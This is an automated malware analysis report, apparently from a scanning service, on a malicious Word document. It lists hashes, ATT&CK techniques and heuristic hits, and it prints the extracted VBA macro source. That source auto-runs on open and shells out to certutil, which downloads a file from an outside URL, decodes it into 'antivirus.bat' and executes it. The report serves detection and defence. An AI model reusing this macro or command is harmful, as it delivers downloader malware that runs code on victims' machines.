Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b33b27d7b6b40f9f…

MALICIOUS

Office (OLE)

31.0 KB Created: 2018-06-08 07:33:00 First seen: 2018-08-26
MD5: f61c375d7ac75c5742fd7c4e086a95a7 SHA-1: dd1ad8c0da260a72884f6fc2df37a0ac16e4e645 SHA-256: b33b27d7b6b40f9f86518aa60cef223227484a865dc60302e31d2578b8a0c066
338 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1105 Ingress Tool Transfer T1204.002 Malicious File T1027 Obfuscated Files or Information

The sample contains VBA macros that execute automatically upon opening. The AutoOpen macro calls a Shell command that uses cmd.exe to run certutil. This command downloads a file from 'http://employeerefferals.com/sg/index', decodes it, and executes it as 'antivirus.bat'. This indicates a downloader or dropper functionality.

Heuristics 11

  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Sub follow()
    Shell ("cmd /c certutil -urlcache -split -f http://employeerefferals.com/sg/index cert.crt & cmd /c certutil -decode cert.crt antivirus.bat & antivirus.bat")
End Sub
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Sub follow()
    Shell ("cmd /c certutil -urlcache -split -f http://employeerefferals.com/sg/index cert.crt & cmd /c certutil -decode cert.crt antivirus.bat & antivirus.bat")
End Sub
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    Sub follow()
    Shell ("cmd /c certutil -urlcache -split -f http://employeerefferals.com/sg/index cert.crt & cmd /c certutil -decode cert.crt antivirus.bat & antivirus.bat")
End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoExec()
    AutoOpen
End Sub
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    End Sub
Sub Auto_Open()
    follow
  • Reference to certutil (download/decode) high SC_STR_CERTUTIL
    Reference to certutil (download/decode)
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://employeerefferals.com/sg/index In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 620 bytes
SHA-256: 706363990d7ace1ab412c8a2ecfb5d2ed827da06c1a877e71f9ab2c641bb1685
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoExec()
    AutoOpen
End Sub
Sub AutoOpen()
    follow
End Sub
Sub Auto_Open()
    follow
End Sub
Sub follow()
    Shell ("cmd /c certutil -urlcache -split -f http://employeerefferals.com/sg/index cert.crt & cmd /c certutil -decode cert.crt antivirus.bat & antivirus.bat")
End Sub

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